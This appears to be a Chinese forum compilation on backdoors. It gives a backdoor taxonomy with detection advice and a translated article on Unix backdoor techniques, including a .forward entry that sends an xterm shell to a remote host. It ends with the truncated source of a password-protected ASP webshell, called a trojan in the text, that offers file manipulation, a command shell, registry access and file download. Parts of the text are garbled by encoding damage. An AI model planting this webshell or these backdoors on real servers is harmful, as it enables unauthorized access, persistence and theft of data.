后门可以按照很多方式来分类,标准不同自然分类就不同,为了便于大家理解,我们从技术方面来考虑后门程序的分类方法:
前面讲了这么多理论知识是不是觉得有点头大了呢?下面我们来讲讲一些常见的后门工具吧
1.网页后门
此类后门程序一般都是服务器上正常 的web服务来构造自己的连接方式,热缦衷诜浅A餍械腁SP、cgi脚本后门等。
典型后门程序:海洋顶端,红粉佳人个人版,后来衍生出来很多版本的这类网页后门,编写语言asp,aspx,jsp,php的都有种类比较繁多。
2.线程插入后门
利用系统自身的某个服务或者线程,将后门程序插入到其中,这种后门在运行时没有进程,所有网络 *** 作均播入到其他应用程序的进程中完成。
典型后门程序:代表BITS,还有我在安全焦点上看到的xdoor(首款进程插入后门)也属于进程插入类后门。
3.扩展后门
所谓的扩展后门,在普通意义上理解,可以看成是将非常多的功能集成到了后门里,让后门本身就可以实现很多功能,方便直接控制肉鸡或者服务器,这类的后门非常受初学者的喜爱,通常集成了文件上传/下载、系统用户检测、HTTP访问、终端安装、端口开放、启动/停止服务等功能,本身就是个小的工具包,功能强大。
典型后门程序:Wineggdroup shell
4.C/S后门
这个后门利用ICMP通道进行通信,所以不开任何端口,只是利用系统本身的ICMP包进行控制安装成系统服务后,开机自动运行,可以穿透很多防火墙——很明显可以看出它的最大特点:不开任何端口~只通过ICMP控制!和上面任何一款后门程序相比,它的控制方式是很特殊的,连80端口都不用开放,不得不佩服务程序编制都在这方面独特的思维角度和眼光.
典型后门程序:ICMP Door
5.root kit
好多人有一个误解,他们认为rootkit是用作获得系统root访问权限的工具。实际上,rootkit是攻击者用来隐藏自己的踪迹和保留root访问权限的工具。通常,攻击者通过远程攻击获得root访问权限,或者首先密码猜测或者密码强制破译的方式获得系统的访问权限。进入系统后,如果他还没有获得root权限,再通过某些安全漏洞获得系统的root权限。接着,攻击者会在侵入的主机中安装rootkit,然后他将经常通过rootkit的后门检查系统是否有其他的用户登录,如果只有自己,攻击者就开始着手清理日志中的有关信息。通过rootkit的嗅探器获得其它系统的用户和密码之后,攻击者就会利用这些信息侵入其它的系统。
典型后门程序:hacker defender
以上是我在网上搜集的前人总结,值得指出的是这些分类还不够完善,还没有真正指出后门的强大。
下面我继续补充点我更新黑基技术文章时看到的一些比较少见的后门技术。
6 BootRoot
通过在Windows内核启动过程中额外插入第三方代码的技术项目,即为“BootRoot”。国外组织eBye在通过这种新的Rootkit启动技术,并赋予这种无需依赖Windows内核启动过称去加载自身代码的技术及其衍生品——“BootKit”,即“Boot Rootkit”。
Mebroot是如何实现MBR感染与运作的
Mebroot比Windows还要早一步启动,然后将自身驱动代码插入内核执行,从而绕过了注册表HIVE检测的缺陷。同时采用的底层技术让大部分Anti-Rootkit工具失明——因为它根本没有在系统内留下任何启动项目。检测工具自然会检测失效。然后通过DLL远程注入用户进程,为系统打开后门并下载木马运行。在这非传统的渗透思路下,反Rootkit工具是无法根除它的。
看到以上这么多可怕的后门知识是不是对这些有所了解了呢?
下面我们来谈谈如何检测后门
1.简单手工检测法
凡是后门必然需要隐蔽的藏身之所,要找到这些程序那就需要仔细查找系统中每个可能存在的可疑之处,如自启动项,据不完全统计,自启动项目有近80多种。
用AutoRuns检查系统启动项。观察可疑启动服务,可疑启动程序路径,如一些常见系统路径一般在system32下,如果执行路径种在非系统的system32目录下发现
notepad
System
smss.exe
csrss.exe
winlogon.exe
services.exe
lsass.exe
spoolsv.exe
这类进程出现2个那你的电脑很可能已经中毒了。
如果是网页后门程序一般是检查最近被修改过的文件,当然目前一些高级webshell后门已经支持更改自身创建修改时间来迷惑管理员了。
2.拥有反向连接的后门检测
这类后门一般会监听某个指定断口,要检查这类后门需要用到dos命令在没有打开任何网络连接页面和防火墙的情况下输入netstat -an 监听本地开放端口,看是否有本地ip连接外网ip。
3.无连接的系统后门
如shift,放大镜,屏保后门,这类后门一般都是修改了系统文件,所以检测这类后门的方法就是对照他们的MD5值 如sethc.exe(shift后门)正常用加密工具检测的数值是
MD5 : f09365c4d87098a209bd10d92e7a2bed
如果数值不等于这个就说明被篡改过了。
4.CA后门
CA克隆帐号这样的后门建立以$为后缀的超级管理员在dos下无法查看该用户,用户组管理也不显示该用户,手工检查一般是在sam里删除该帐号键值。当然要小心,没有经验的建议还是用工具。当然CA有可能克隆的的是guest用户,所以建议服务器最好把guest设置一个复杂密码。
5.对于ICMP这种后门
这种后门比较罕见,如果真要预防只有在默认windows防火墙中设置只 允许ICMP传入的回显请求了。
6.对于rootkit
这类后门隐藏比较深,从一篇安全焦点的文献我们可以了解到他的历史也非常长,1989年发现首例在Unix上可以过滤自己进程被ps -aux 命令的查看的rootkit雏形。此后这类高级隐藏工具不断发展完整,并在94年成功运用到了高级后门上并开始流行,一直保持着后门的领先地位,包括最新出现的Boot Root也是该后门的一个高级变种。为了抵御这类高级后门国外也相续出现了这类查杀工具。例如:荷兰的反Root Kit的工具Gmer,Rootkit Unhooker和RKU都可以检测并清除这些包括变种的RootKit.
分类: 电脑/网络 >>反病毒解析:
当一个训练有素的程序员设计一个功能较复杂的软件时,都习惯于先将整个软件分割为若干模块,然后再对各模块单独设计、调试,而后门则是一个模块的秘密入口。在程序开发期间,后门的存在是为了便于测试、更改和增强模块的功能。当然,程序员一般不会把后门记入软件的说明文档,因此用户通常无法了解后门的存在。
/按照正常 *** 作程序,在软件交付用户之前,程序员应该去掉软件模块中的后门,但是,由于程序员的疏忽,或者故意将其留在程序中以便日后可以对此程序进行隐蔽的访问,方便测试或维护已完成的程序等种种原因,实际上并未去掉。
这样,后门就可能被程序的作者所秘密使用,也可能被少数别有用心的人用穷举搜索法发现利用。
cache.baidu/c?word=%CA%B2%C3%B4%3B%CA%C7%3B%BA%F3%C3%C5&url=%3A%2Exiaom%2E/Article%5Fshow%2Easp%3FArticleID%3D4777&b=0&a=29&user=baidu
什么是后门?
从早期的计算机入侵者开始,他们就努力发展能使自己重返被入侵系统的技术或后门.本文将讨论许多常见的后门及其检测方法. 更多的焦点放在Unix系统的后门,同时讨论一些未来将会出现的Windows NT的后门. 本文将描述如何测定入侵者使用的方法这样的复杂内容和管理员如何防止入侵者重返的基础知识. 当管理员懂的一旦入侵者入侵后要制止他们是何等之难以后, 将更主动于预防第一次入侵. 本文试图涉及大量流行的初级和高级入侵者制作后门的手法, 但不会也不可能覆盖到所有可能的方法.
大多数入侵者的后门实现以下二到三个目的:
即使管理员通过改变所有密码类似的方法来提高安全性,仍然能再次侵入. 使再次侵入被发现的可能性减至最低.大多数后门设法躲过日志, 大多数情况下即使入侵者正在使用系统也无法显示他已在线. 一些情况下, 如果入侵者认为管理员可能会检测到已经安装的后门, 他们以系统的 脆弱性作为唯一的后门, 重而反复攻破机器. 这也不会引起管理员的注意. 所以在 这样的情况下,一台机器的脆弱性是它唯一未被注意的后门.
密码破解后门
这是入侵者使用的最早也是最老的方法, 它不仅可以获得对Unix机器的访问, 而且可以通过破解密码制造后门. 这就是破解口令薄弱的帐号. 以后即使管理员封了入侵者的当前帐号,这些新的帐号仍然可能是重新侵入的后门. 多数情况下, 入侵者寻找口令薄弱的未使用帐号,然后将口令改的难些. 当管理员寻找口令薄弱的帐号是, 也不会发现这些密码已修改的帐号.因而管理员很难确定查封哪个帐号.
Rhosts + + 后门
在连网的Unix机器中,象Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简单的认证方法. 用户可以轻易的改变设置而不需口令就能进入. 入侵者只要向可以访问的某用户的rhosts文件中输入"+ +", 就可以允许任何人从任何地方无须口令便能进入这个帐号. 特别当home目录通过NFS向外共享时, 入侵者更热中于此. 这些帐号也成了入侵者再次侵入的后门. 许多人更喜欢使用Rsh, 因为它通常缺少日志能力. 许多管
理员经常检查 "+ +", 所以入侵者实际上多设置来自网上的另一个帐号的主机名和用户名,从而不易被发现.
校验和及时间戳后门
早期,许多入侵者用自己的trojan程序替代二进制文件. 系统管理员便依*时间戳和系统校验和的程序辨别一个二进制文件是否已被改变, 如Unix里的sum程序. 入侵者又发展了使trojan文件和原文件时间戳同步的新技术. 它是这样实现的: 先将系统时钟拨回到原文件时间, 然后调整trojan文件的时间为系统时间. 一旦二进制trojan文件与原来的精确同步, 就可以把系统时间设回当前时间. sum程序是基于CRC校验, 很容易
骗过.入侵者设计出了可以将trojan的校验和调整到原文件的校验和的程序. MD5是被大多数人推荐的,MD5使用的算法目前还没人能骗过.
Login后门
在Unix里,login程序通常用来对tel来的用户进行口令验证. 入侵者获取login.c的原代码并修改,使它在比较输入口令与存储口令时先检查后门口令. 如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入. 这将允许入侵者进入任何帐号,甚至是root.由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问的, 所以入侵者可以登录获取shell却不会暴露该帐号. 管理员注意到这种后门后, 便
用"strings"命令搜索login程序以寻找文本信息. 许多情况下后门口令会原形毕露.入侵者就开始加密或者更好的隐藏口令, 使strings命令失效. 所以更多的管理员是用MD5校验和检测这种后门的.
Teld后门
当用户tel到系统, 监听端口的id服务接受连接随后递给in.teld,由它运行login.一些入侵者知道管理员会检查login是否被修改, 就着手修改in.teld.在in.teld内部有一些对用户信息的检验, 比如用户使用了何种终端. 典型的终端设置是Xterm或者VT100.入侵者可以做这样的后门, 当终端设置为"letmein"时产生一个不要任何验证的shell. 入侵者已对某些服务作了后门, 对来自特定源端口的连接产
生一个shell .
服务后门
几乎所有网络服务曾被入侵者作过后门. finger, rsh, rexec, rlogin, ftp, 甚至id等等的作了的版本随处多是. 有的只是连接到某个TCP端口的shell,通过后门口令就能获取访问.这些程序有时用刺娲□?ucp这样不用的服务,或者被加入id.conf作为一个新的服务.管理员应该非常注意那些服务正在运行, 并用MD5对原服务程序做校验.
Cronjob后门
Unix上的Cronjob可以按时间表调度特定程序的运行. 入侵者可以加入后门shell程序使它在1AM到2AM之间运行,那么每晚有一个小时可以获得访问. 也可以查看cronjob中经常运行的合法程序,同时置入后门.
库后门
几乎所有的UNIX系统使用共享库. 共享库用于相同函数的重用而减少代码长度. 一些入侵者在象crypt.c和_crypt.c这些函数里作了后门. 象login.c这样的程序调用了crypt(),当使用后门口令时产生一个shell. 因此, 即使管理员用MD5检查login程序,仍然能产生一个后门函数.而且许多管理员并不会检查库是否被做了后门.对于许多入侵者来说有一个问题: 一些管理员对所有东西多作了MD5校验. 有一种办法是入侵者对open()和文件访问函数做后门. 后门函数读原文件但执行trojan后门程序. 所以 当MD5读这些文件时,校验和一切正常. 但当系统运行时将执行trojan版本的. 即使trojan库本身也可躲过MD5校验. 对于管理员来说有一种方法可以找到后门, 就是静态编连MD5校验程序然后运行.静态连接程序不会使用trojan共享库.
内核后门
内核是Unix工作的核心. 用于库躲过MD5校验的方法同样适用于内核级别,甚至连静态连接多不能识别. 一个后门作的很好的内核是最难被管理员查找的, 所幸的是内核的后门程序还不是随手可得, 每人知道它事实上传播有多广.
文件系统后门
入侵者需要在服务器上存储他们的掠夺品或数据,并不能被管理员发现. 入侵者的文章常是包括exploit脚本工具,后门集,sniffer日志,email的备分,原代码,等等. 有时为了防止管理员发现这么大的文件, 入侵者需要修补"ls","du","fsck"以隐匿特定的目录和文件.在很低的级别, 入侵者做这样的漏洞: 以专有的格式在硬盘上割出一部分,且表示为坏的扇区. 因此入侵者只能用特别的工具访问这些隐藏的文件. 对于普通的
管理员来说, 很难发现这些"坏扇区"里的文件系统, 而它又确实存在.
Boot块后门
在PC世界里,许多病毒藏匿与根区, 而杀病毒软件就是检查根区是否被改变. Unix下,多数管理员没有检查根区的软件, 所以一些入侵者将一些后门留在根区.
隐匿进程后门
入侵者通常想隐匿他们运行的程序. 这样的程序一般是口令破解程序和监听程序 (sniffer).有许多办法可以实现,这里是较通用的: 编写程序时修改自己的argv[]使它看起来象其他进程名. 可以将sniffer程序改名类似in.syslog再执行. 因此当管理员用"ps"检查运行进程时, 出现 的是标准服务名. 可以修改库函数致使
"ps"不能显示所有进程. 可以将一个后门或程序嵌入中断驱动程序使它不会在进程表显现. 使用这个技术的一个后门例子是amod.tar.gz :
star.niimm.spb.su/~maillist/bugtraq.1/0777
也可以修改内核隐匿进程.
Rootkit
最流行的后门安装包之一是rootkit. 它很容易用web搜索器找到.从Rootkit的README里,可以找到一些典型的文件:
z2 - removes entries from utmp, wtmp, and lastlog.
Es - rokstar's ether sniffer for sun4 based kernels.
Fix - try to fake checksums, install with same dates/perms/u/g.
Sl - bee root via a magic password sent to login.
Ic - modified ifconfig to remove PROMISC flag from output.
ps: - hides the processes.
Ns - modified stat to hide connections to certain machines.
Ls - hides certain directories and files from being listed.
du5 - hides how much space is being used on your hard drive.
ls5 - hides certain files and directories from being listed.
网络通行后门
入侵者不仅想隐匿在系统里的痕迹, 而且也要隐匿他们的网络通行. 这些网络通行后门有时允许入侵者通过防火墙进行访问. 有许多网络后门程序允许入侵者建立某个端口号并不用通过普通服务就能实现访问. 因为这是通过非标准网络端口的通行, 管理员可能忽视入侵者的足迹. 这种后门通常使用TCP,UDP和ICMP, 但也可能是其他类型报文.
TCP Shell 后门
入侵者可能在防火墙没有阻塞的高位TCP端口建立这些TCP Shell后门. 许多情况下,他们用口令进行保护以免管理员连接上后立即看到是shell访问. 管理员可以用stat命令查看当前的连接状态, 那些端口在侦听, 目前连接的来龙去脉. 通常这些后门可以让入侵者躲过TCP Wrapper技术. 这些后门可以放在SMTP端口, 许多防火墙允许e-mail通行的.
UDP Shell 后门
管理员经常注意TCP连接并观察其怪异情况, 而UDP Shell后门没有这样的连接, 所以stat不能显示入侵者的访问痕迹. 许多防火墙设置成允许类似DNS的UDP报文的通行. 通常入侵者将UDP Shell放置在这个端口, 允许穿越防火墙.
ICMP Shell 后门
Ping是通过发送和接受ICMP包检测机器活动状态的通用办法之一. 许多防火墙允许外界ping它内部的机器. 入侵者可以放数据入Ping的ICMP包, 在ping的机器间形成一个shell通道. 管理员也许会注意到Ping包暴风, 但除了他查看包内数据, 否者入侵者不会暴露.
加密连接
管理员可能建立一个sniffer试图某个访问的数据, 但当入侵者给网络通行后门加密后,就不可能被判定两台机器间的传输内容了.
Windows NT
由于Windows NT不能轻易的允许多个用户象Unix下访问一台机器, 对入侵者来说就很难闯入Windows NT,安装后门,并从那里发起攻击. 因此你将更频繁地看到广泛的来自Unix的网络攻击. 当Windows NT提高多用户技术后, 入侵者将更频繁地利用 WindowsNT.如果这一天真的到来, 许多Unix的后门技术将移植到Windows NT上, 管理员可以等候入侵者的到来. 今天, Windows NT已经有了tel守护程序. 通过网络通行后门, 入侵者发现在Windows NT安装它们是可行的. ( With Neork Traffic
backdoors, theyarevery feasible for intruders to install on Windows NT. 此处该如何翻译? :(
解决
当后门技术越先进, 管理员越难于判断入侵者是否侵入后者他们是否被成功封杀.
评估
首先要做的是积极准确的估计你的网络的脆弱性, 从而判定漏洞的存在且修复之.许多商业工具用来帮助扫描和查核网络及系统的漏洞. 如果仅仅安装提供商的安全补丁的话,许多公司将大大提高安全性.
MD5基准线
一个系统(安全)扫描的一个重要因素是MD5校验和基准线. MD5基准线是在黑客入侵前由干净系统建立. 一旦黑客入侵并建立了后门再建立基准线, 那么后门也被合并进去了.一些公司被入侵且系统被安置后门长达几个月.所有的系统备份多包含了后门. 当公司发现有黑客并求助备份祛除后门时, 一切努力是徒劳的, 因为他们恢复系统的同时也恢复了后门. 应该在入侵发生前作好基准线的建立.
入侵检测
随着各种组织的上网和允许对自己某些机器的连接,入侵检测正变的越来越重要.以前多数入侵检测技术是基于日志型的. 最新的入侵检测系统技术(IDS)是基于实时侦听和网络通行安全分析的. 最新的IDS技术可以浏览DNS的UDP报文, 并判断是否符合DNS协议请求. 如果数据不符合协议, 就发出警告信号并抓取数据进行进一步分析. 同样的原则可以运用到ICMP包, 检查数据是否符合协议要求, 或者是否装载加密shell会话.
从CD-ROM启动
一些管理员考虑从CD-ROM启动从而消除了入侵者在CD-ROM上做后门的可能性.这种方法的问题是实现的费用和时间够企业面临的.
警告
由于安全领域变化之快, 每天有新的漏洞被公布, 而入侵者正不断设计新的攻击和安置后门技术, 安枕无忧的安全技术是没有的.请记住没有简单的防御,只有不懈的努力!
( Be aware that no defense is foolproof, and that there is no substitute for
diligent attention. 此句该如何翻译? :( )
-------------------------------------------------------------------------
you may want to add:
.forward Backdoor
On Unix machines, placing mands into the .forward file was also
a mon method of regaining access. For the account ``username''
a .forward file might be constructed as follows:
\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e
/bin/sh"
permutations of this method include alteration of the systems mail
aliases file (most monly located at /etc/aliases). Note that
this is a simple permutation, the more advanced can run a simple
script from the forward file that can take arbitrary mands via
stdin (after minor preprocessing).
PS: The above method is also useful gaining access a panies
mailhub (assuming there is a shared a home directory FS on
&nbs>
the client and server).
>Using *** rsh can effectively negate this backdoor (although it's quite
>possibly still a problem if you allow things like elm's filter or
>procmail which can run programs themselves...).
你也许要增加:
.forward后门
Unix下在.forward文件里放入命令是重新获得访问的常用方法. 帐户'username'的.forward可能设置如下:
\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e/bin/sh"
这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).>利用 *** rsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或 procmail>类程序, 很有可能还有问题 ......)
( 此段的内容理解不深, 故付上英文, 请指教! )
---------------------------------------------------------------------------
你也许能用这个"特性"做后门:
当在/etc/password里指定一个错误的uid/gid后, 大多数login(1)的实现是不能检查出这个错误的uid/gid, 而atoi(3)将设uid/gid为0, 便给了超级用户的权利.
例子:
rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh
将以下文件保存问shell.asp 访问密码是1 仅供学习研究之用,慎重使用。<%
dim ApplicationName,Pass,URL,ServerNM,ServerIP,Action,WWWRoot,FolderPath,FName,BackUrl,RW
Server.ScriptTimeout=50000
On Error Resume Next
ApplicationName = "WebShell"
UserPass= "1" '设置密码.
URL = Request.ServerVariables("URL")
ServerNM= Request.ServerVariables("SERVER_NAME")
ServerIP= Request.ServerVariables("LOCAL_ADDR")
Action = Request("Action")
RootPath= Server.MapPath(".")
WWWRoot = Server.MapPath("/")
FolderPath = Request("FolderPath")
FName = Request("FName")
BackUrl = "<meta http-equiv='refresh' content='2URL=?Action=ShowFile'>"
If Request("Pass")=UserPass then Session("webadmin")=UserPass
If Session("webadmin")<>UserPass Then
If Request.Form("Pass")<>"" Then
If Request.Form("Pass")=UserPass Then
Session("webadmin")=UserPass
Response.Redirect URL
Else
Response.Write"验证失败!"
End If
Else
RW="<center style='font-size:12px'><br><br>WKWL专用ASP木马"
RW=RW &"<form action='" &URL &"' method='post'>"
RW=RW &"密码:<input name='Pass' type='password' size='15' style='font-size: 12pxborder: menu 1px solid'>"
RW=RW &" <input type='submit' value='杀进去' style='border-width: 1px'></form></center>"
Response.Write RW
RW=""
End If
Response.End
End If%>
<object runat='server' id='ws' scope='page' classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8'></object>
<object runat='server' id='ws' scope='page' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<object runat='server' id='fso' scope='page' classid='clsid:0D43FE01-F093-11CF-8940-00A0C9054228'></object>
<object runat='server' id='sa' scope='page' classid='clsid:13709620-C279-11CE-A49E-444553540000'></object>
<html>
<head>
<meta http-equiv="Content-Type" content="text/htmlcharset=gb2312">
<title><%=ApplicationName&" - "&ServerIP%></title>
<style type="text/css">
<!--
body,td {font-size: 12px}
body {margin-left: 0pxmargin-top: 0pxmargin-right: 0pxmargin-bottom: 0px
<%If Action="" then response.write "overflow-x:hiddenoverflow-y:hidden"%>}
input,select,textarea {font-size: 12px}
.border{border: menu 1px solid}
.submit{border-width: 1px}
a {color: blacktext-decoration: none}
-->
</style>
<script language="javascript">
function yesok(){
if (confirm("确认要执行此 *** 作吗?"))
return true
else
return false
}
function ShowFolder(Folder){
top.addrform.FolderPath.value = Folder
top.addrform.submit()
}
function FullForm(FName,FAction){
top.hideform.FName.value = FName
if(FAction=="CopyFile"){
DName = prompt("请输入复制到目标文件全名称",FName)
top.hideform.FName.value += "||||"+DName
}else if(FAction=="MoveFile"){
DName = prompt("请输入移动到目标文件全名称",FName)
top.hideform.FName.value += "||||"+DName
}else if(FAction=="CopyFolder"){
DName = prompt("请输入移动到目标文件夹全名称",FName)
top.hideform.FName.value += "||||"+DName
}else if(FAction=="MoveFolder"){
DName = prompt("请输入移动到目标文件夹全名称",FName)
top.hideform.FName.value += "||||"+DName
}else if(FAction=="NewFolder"){
DName = prompt("请输入要新建的文件夹全名称",FName)
top.hideform.FName.value = DName
}else if(FAction=="CreateMdb"){
DName = prompt("请输入要新建的Mdb文件全名称,注意不能同名!",FName)
top.hideform.FName.value = DName
}else if(FAction=="CompactMdb"){
DName = prompt("请输入要压缩的Mdb文件全名称,注意文件是否存在!",FName)
top.hideform.FName.value = DName
}else{
DName = "Other"
}
if(DName!=null){
top.hideform.Action.value = FAction
top.hideform.submit()
}else{
top.hideform.FName.value = ""
}
}
function DbCheck(){
if(DbForm.DbStr.value == ""){
alert("请先连接数据库")
FullDbStr(0)
return false
}
return true
}
function FullDbStr(i){
if(i<0){
return false
}
Str = new Array(12)
Str[0] = "Provider=Microsoft.Jet.OLEDB.4.0Data Source=<%=RePath(Session("FolderPath"))%>\\DbName.mdbJet OLEDB:Database Password=***"
Str[1] = "Driver={Sql Server}Server=<%=ServerIP%>,1433Database=DbNameUid=saPwd=****"
Str[2] = "Driver={MySql}Server=<%=ServerIP%>Port=3306Database=DbNameUid=rootPwd=****"
Str[3] = "Dsn=DsnName"
Str[4] = "SELECT * FROM [TableName] WHERE ID<100"
Str[5] = "INSERT INTO [TableName](USER,PASS) VALUES(\'username\',\'password\')"
Str[6] = "DELETE FROM [TableName] WHERE ID=100"
Str[7] = "UPDATE [TableName] SET USER=\'username\' WHERE ID=100"
Str[8] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))"
Str[9] = "DROP TABLE [TableName]"
Str[10]= "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)"
Str[11]= "ALTER TABLE [TableName] DROP COLUMN PASS"
Str[12]= "当只显示一条数据时即可显示字段的全部字节,可用条件控制查询实现.\n超过一条数据只显示字段的前五十个字节。"
if(i<=3){
DbForm.DbStr.value = Str[i]
DbForm.SqlStr.value = ""
SFSO.innerHTML="<center>请确认己连接数据库再输入SQL *** 作命令语句。</center>"
}else if(i==12){
alert(Str[i])
}else{
DbForm.SqlStr.value = Str[i]
}
return true
}
function FullSqlStr(str,pg){
if(DbForm.DbStr.value.length<5){
alert("请检查数据库连接串是否正确!")
return false
}
if(str.length<10){
alert("请检查SQL语句是否正确!")
return false
}
DbForm.SqlStr.value = str
DbForm.Page.value = pg
SFSO.innerHTML=""
DbForm.submit()
return true
}
function CheckAll(){
for (var i=0i<DownId.lengthi++) DownId[i].checked=!DownId[i].checked
}
function Url(){
for (var i=0i<DownId.lengthi++)
{
if (DownId[i].checked==true)
{
temp.value+=DownId[i].value+"\n"
}
}
if (temp.value=="")
{
window.alert("你还没有选择要下载的地址!")
return false}
else
{
js=temp.createTextRange()
js.execCommand("Copy")
temp.value=""
window.alert("复制完毕!记得在复制之前打开下载工具监视剪贴板。")
}
}
</script>
<meta http-equiv="Content-Type" content="text/htmlcharset=gb2312">
</head>
<body onmouseover="window.status='Powered by:LzhjQQ:5079087'return true">
<%
Dim ObT(13,1)
ObT(0,0) = "Scripting.FileSystemObject"
ObT(0,1) = "文件 *** 作组件"
ObT(1,0) = "wscript.shell"
ObT(1,1) = "命令行执行组件"
ObT(2,0) = "ADOX.Catalog"
ObT(2,1) = "ACCESS建库组件"
ObT(3,0) = "JRO.JetEngine"
ObT(3,1) = "ACCESS压缩组件"
ObT(4,0) = "Scripting.Dictionary"
ObT(4,1) = "数据流上传辅助组件"
ObT(5,0) = "Adodb.connection"
ObT(5,1) = "数据库连接组件"
ObT(6,0) = "Adodb.Stream"
ObT(6,1) = "数据流上传组件"
ObT(7,0) = "SoftArtisans.FileUp"
ObT(7,1) = "SA-FileUp 文件上传组件"
ObT(8,0) = "LyfUpload.UploadFile"
ObT(8,1) = "刘云峰文件上传组件"
ObT(9,0) = "Persits.Upload.1"
ObT(9,1) = "ASPUpload 文件上传组件"
ObT(10,0) = "JMail.SmtpMail"
ObT(10,1) = "JMail 邮件收发组件"
ObT(11,0) = "CDONTS.NewMail"
ObT(11,1) = "虚拟SMTP发信组件"
ObT(12,0) = "SmtpMail.SmtpMail.1"
ObT(12,1) = "SmtpMail发信组件"
ObT(13,0) = "Microsoft.XMLHTTP"
ObT(13,1) = "数据传输组件"
Function IsObj(obt)
dim i,T
on error resume next
Set T=Server.CreateObject(obt)
If -2147221005 <>Err Then
IsObj=True
Else
IsObj=false
Err.Clear
End If
Set T=Nothing
End Function
sub ShowErr()
If Err Then
Response.Write"<br><a href='javascript:history.back()'> " &Err.Description &"</a>"
Err.Clear:Response.Flush
End If
end sub
Function RePath(S)
RePath=Replace(S,"\","\\")
End Function
Function RRePath(S)
RRePath=Replace(S,"\\","\")
End Function
Function HTMLEncode(S)
if not isnull(S) then
S = replace(S, ">", ">")
S = replace(S, "<", "<")
S = replace(S, CHR(39), "'")
S = replace(S, CHR(34), """)
S = replace(S, CHR(20), " ")
HTMLEncode = S
end if
End Function
If FolderPath<>"" then
Session("FolderPath")=RRePath(FolderPath)
End If
If Session("FolderPath")="" Then
FolderPath=RootPath
Session("FolderPath")=FolderPath
End if
dim fso,osm,ads,rs,conn
Function MainMenu()
RW="<form name='hideform' method='post' action='" &URL &"' target='FileFrame'>"
RW=RW &"<input type='hidden' name='Action'><input type='hidden' name='FName'></form>"
RW=RW &"<table width='100%' height='100%' border='0' cellpadding='0' cellspacing='0' bgcolor='menu'>"
RW=RW &"<tr><td height='20'>"
RW=RW &"<table width='100%' height='20' border='0' cellpadding='0' cellspacing='0'>"
RW=RW &"<form name='addrform' method='post' action='" &URL &"' target='_parent'>"
RW=RW &"<tr><td width='60' align='center'>地址栏:</td><td>"
RW=RW &"<input name='FolderPath' style='width:100%' value='" &Session("FolderPath") &"' style='border:black 1px solid'>"
RW=RW &"</td><td width='60' align='center'><input name='Submit' type='submit' value='转到' class='submit'>"
RW=RW &"</td></tr></form></table></td></tr><tr><td height='20'> 文件 *** 作:"
Set SFSO=New LBF:SFSO.ShowDriver():Set SFSO=Nothing
RW=RW &"<a href='javascript:ShowFolder(""C:\\Progra~1"")'>[程序文件]</a> <a href='javascript:ShowFolder(""C:\\Docume~1"")'>[我的文档]</a> "
RW=RW &"<a href='javascript:ShowFolder("""&RePath(WWWRoot)&""")'>[网站目录]</a></tr></td><tr><td height='20'>"
RW=RW &" 切换功能:<a href='javascript:FullForm("""&RePath(Session("FolderPath")&"\NewFolder")&""",""NewFolder"")'>[新建目录]</a> "
RW=RW &"<a href='?Action=EditFile' target='FileFrame'>[新建文本]</a> <a href='?Action=UpFile' target='FileFrame'>[文件上传]</a> "
RW=RW &"<a href='?Action=CmdShell' target='FileFrame'>[CMD命令行]</a> <a href='?Action=TSearch' target='FileFrame'>[搜索引擎]</a> "
RW=RW &"<a href='?Action=Course' target='FileFrame'>[系统服务]</a> <a href='?Action=TRegedit' target='FileFrame'>[注册表 *** 作]</a> "
RW=RW &"<a href='?Action=ServerInfo' target='FileFrame'>[服务器信息]</a></td></tr><tr><td height='20'> 数据库功能:<a href='?Action=DbManager' target='FileFrame'>[数据库 *** 作]</a> "
RW=RW &"<a href='?Action=ToMdb' target='FileFrame'>[程序打包入库/出库]</a> | <a href='?Action=Logout' target='_top'>[退出登录]</a>"
RW=RW &"<tr><td><iframe name='FileFrame' src='?Action=ShowFile' width='100%' height='100%' frameborder='1' scrolling='yes'></iframe></td></tr></table>"
Response.Write RW
RW=""
End Function
if request("DownFile")<>"" then call DownFile(request("DownFile"))
Function DownFile(Path)
Response.Clear
On Error Resume Next
Set osm = CreateObject(ObT(6,0))
osm.Open
osm.Type = 1
osm.LoadFromFile Path
sz=InstrRev(path,"\")+1
Response.AddHeader "Content-Disposition", "attachmentfilename=" &Mid(path,sz)
Response.AddHeader "Content-Length",osm.Size
Response.Charset = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite osm.Read
Response.Flush
osm.Close
Set osm = Nothing
Response.End
End Function
Class LBF
Private Sub Class_Initialize
Set fso=CreateObject(ObT(0,0))
End Sub
Private Sub Class_Terminate
Set fso=Nothing
End Sub
Function ShowDriver()
dim D
For Each D in fso.Drives
RW=RW&"<a href='javascript:ShowFolder("""&D.DriveLetter&":\\"")'>磁盘["&D.DriveLetter&":]</a> "
Next
ShowDriver=RW
End Function
Function ShowFile(Path)
dim F,L,Fold,i
RW="<table border='0' cellpadding='2' width='800' height='100%' bgcolor='#EFEFEF' align='center'>"
RW=RW &"<tr><td width='200' valign='top'>"
RW=RW &"<table border='0' cellpadding='0' cellspacing='0' width='100%'>"
RW=RW &"<tr><td width='100%'></td></tr>"
Set FOLD=fso.GetFolder(Path)
For Each F in FOLD.subfolders
RW=RW &"<tr><td width='100%' height='20'><a href='javascript:ShowFolder("""&RePath(Path&"\"&F.Name)&""")'>["&F.Name&"]</a>"
RW=RW &" |<a href='javascript:FullForm("""&Replace(Path&"\"&F.Name,"\","\\")&""",""DelFolder"")' onclick='return yesok()'>删除</a>"
RW=RW &" <a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""CopyFolder"")' onclick='return yesok()'>复制</a>"
RW=RW &" <a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""MoveFolder"")' onclick='return yesok()'>移动</a></td></tr>"
